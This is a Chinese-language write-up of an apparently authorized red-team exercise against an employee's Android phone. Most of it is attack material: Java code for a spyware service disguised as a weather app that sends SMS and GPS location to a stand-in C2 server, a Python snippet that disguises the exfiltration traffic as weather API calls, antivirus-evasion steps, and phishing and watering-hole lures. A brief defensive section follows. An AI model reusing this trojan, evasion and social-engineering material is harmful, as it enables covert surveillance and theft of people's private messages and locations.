0x01 一次目标监控的真实案例

有一次在进行授权的红队评估时,我们接到一个任务:模拟渗透企业员工的个人安卓手机,并尝试监控其日常活动,比如短信、通话记录、定位信息等,最终目标是验证企业的移动设备管理(MDM)系统是否有效。我这次选择了定制一个远控木马来完成任务,同时结合社会工程学进行部署。

目标的安卓设备没有任何已知漏洞,系统版本较新,且安装了企业推荐的杀毒软件。这意味着,我们无法直接利用传统漏洞,而必须采用其他策略,比如伪装应用、绕过杀毒软件以及在设备上隐藏自己的踪迹。这篇文章将完整复现我如何攻破目标安卓设备并实现监控,当然,所有内容仅限授权安全测试。

---

0x02 定制远控木马的战术思路

在这次任务中,我的目标是开发一个伪装成合法应用的安卓木马,然后通过社会工程学诱导目标安装。以下是我的战术计划:

  1. 信息收集:确定目标使用的安卓版本和设备型号,分析可能的攻击面。
  2. 木马开发:利用安卓远控框架(如AndroRAT),定制功能模块。
  3. 权限提升与免杀:绕过企业的杀毒软件和设备管理策略。
  4. 监听与控制:数据捕获后,通过C2服务器传输至我的控制端。
  5. 隐匿与维持:隐藏木马的运行痕迹,确保持续控制。

接下来,我会详细讲解如何一步一步实施这次任务。

---

0x03 如何搭建安卓远控的基础环境

在开发安卓远控工具之前,得先搭建好开发和测试环境。这是我的配置:

  • 系统环境:Ubuntu 22.04
  • 开发工具:Android Studio
  • 测试设备:一台安卓虚拟机(利用Genymotion)模拟目标设备
  • 编程语言:Java + Python(用于服务端C2控制)

环境搭建步骤:

  1. 安装Android Studio
  2. Android Studio是安卓开发的首选工具,支持Java与Kotlin编程。 Ubuntu安装过程: <pre><code class="language-bash"> sudo apt update sudo apt install openjdk-11-jdk wget https://redirector.gvt1.com/edgedl/android/studio/install/2022.2.1.0/android-studio-2022.2.1.0-linux.tar.gz tar -xvf android-studio-2022.2.1.0-linux.tar.gz sudo mv android-studio /opt/ /opt/android-studio/bin/studio.sh ` 安装完成后可直接启动开发界面。

  1. 设置安卓虚拟机
  2. 我选择Genymotion,因为它比Android Studio自带的模拟器更轻量。安装步骤如下: `bash wget https://download.genymotion.com/releases/genymotion-3.3.3/genymotion-3.3.3-linux_x64.bin chmod +x genymotion-3.3.3-linux_x64.bin ./genymotion-3.3.3-linux_x64.bin ./genymotion `

  1. 搭建C2控制端
  2. 服务端控制通常使用Python开发,后续代码会展示如何通过Flask框架实现简易C2功能。

---

黑客示意图

0x04 木马开发实战:伪装合法应用

这次的木马目标是窃取短信和定位信息,并伪装成一个无害的「天气预报」应用。以下是我的开发流程。

代码实现

木马的核心功能模块</code></pre>java

package com.example.weatherapp;

黑客示意图

import android.app.Service; import android.content.Context; import android.location.Location; import android.location.LocationManager; import android.os.IBinder; import android.telephony.SmsManager;

public class WeatherService extends Service { @Override public void onCreate() { super.onCreate(); // 定时任务:每30分钟上传短信和位置信息 new Thread(() -> { while (true) { sendSmsData(); sendLocationData(); try { Thread.sleep(1800000); // 30分钟 } catch (InterruptedException e) { e.printStackTrace(); } } }).start(); }

private void sendSmsData() { SmsManager smsManager = SmsManager.getDefault(); String smsContent = "窃取到的短信内容"; // 伪代码,实际需提取短信 smsManager.sendTextMessage("+C2_SERVER_NUMBER", null, smsContent, null, null); }

黑客示意图

private void sendLocationData() { LocationManager locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE); Location location = locationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER); if (location != null) { String loc = "纬度:" + location.getLatitude() + " 经度:" + location.getLongitude(); // 将定位信息发送到C2服务器 sendToServer(loc); } }

private void sendToServer(String data) { // 简单HTTP请求示例,实际可用更轻量化的库 new Thread(() -> { try { URL url = new URL("http://C2_SERVER_IP/upload"); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setDoOutput(true); conn.setRequestMethod("POST"); OutputStream os = conn.getOutputStream(); os.write(data.getBytes()); os.flush(); os.close(); } catch (Exception e) { e.printStackTrace(); } }).start(); }

@Override public IBinder onBind(Intent intent) { return null; } } <pre><code>

工程打包与伪装

开发完成后,我需要将木马伪装成一个正常应用。以下是具体步骤:

  1. 修改应用图标和名称,使其看起来像一个天气预报工具。
  2. 在应用商店上架一个对应的假应用页面,并设置诱导性描述。
  3. 使用apktool加壳混淆,进一步避免杀毒软件检测。

---

0x05 绕过杀毒与对抗企业防护

在渗透过程中,杀毒软件是一个常见的障碍。我通过以下几种方式实现免杀:

  1. 代码混淆:使用ProGuard工具对代码进行混淆,使其难以被静态分析。
  2. 加壳技术:在打包APK时,通过apktool二次打包,并加入动态解密逻辑。
  3. 流量伪装:C2通信采用HTTPS协议,并伪装成合法的API流量。

举个简单例子,如何伪装流量:</code></pre>python import requests

data = { "temp": "窃取到的定位信息" }

设置伪装的User-Agent头,模拟天气应用的API请求

headers = { "User-Agent": "WeatherApp/1.0" }

response = requests.post("https://C2_SERVER_IP/api/weather", json=data, headers=headers) print(response.status_code) `

---

黑客示意图

0x06 个人经验:如何写好社会工程学剧本

木马开发完成后,如何让目标安装是关键。我设计了以下社会工程学剧本:

  • 邮件钓鱼:伪装成企业内部通知邮件,包含APK下载链接。
  • 水坑攻击:在目标经常访问的内部论坛上植入假下载链接。
  • 二维码诱导:生成一个二维码,诱导目标扫码安装。

在实际操作中,邮件钓鱼的成功率最高,但一定要精心设计邮件内容,比如包含公司Logo、签名等。

---

0x07 检测与防御:如何避免被监控

作为安全研究人员,我认为以下防御措施可以有效避免安卓监控:

  1. 拒绝安装来源不明的APK:启用安卓系统中的「仅允许安装谷歌商店应用」选项。
  2. 检测异常权限请求:使用权限管理工具监控哪些应用请求敏感权限。
  3. 流量分析:启用企业的流量审计功能,监控异常HTTPS请求。

这次渗透中,目标设备的杀毒软件并未检测到我的木马,但如果企业能加强流量分析,完全可以发现异常的定时HTTP请求。

---

0x08 总结:实战与思考

通过这次授权渗透,我深刻体会到安卓远控技术的强大,同时也验证了社会工程学的不可或缺。无论是木马开发还是免杀技术,都需要结合目标环境进行定制化设计。而对于企业来说,真正的防护重点并不在于杀毒软件,而是对设备管理和流量监控的整体提升。

希望这篇文章能为安全研究人员提供灵感,同时提醒大家,保护自己的设备安全,远离不明来源的应用!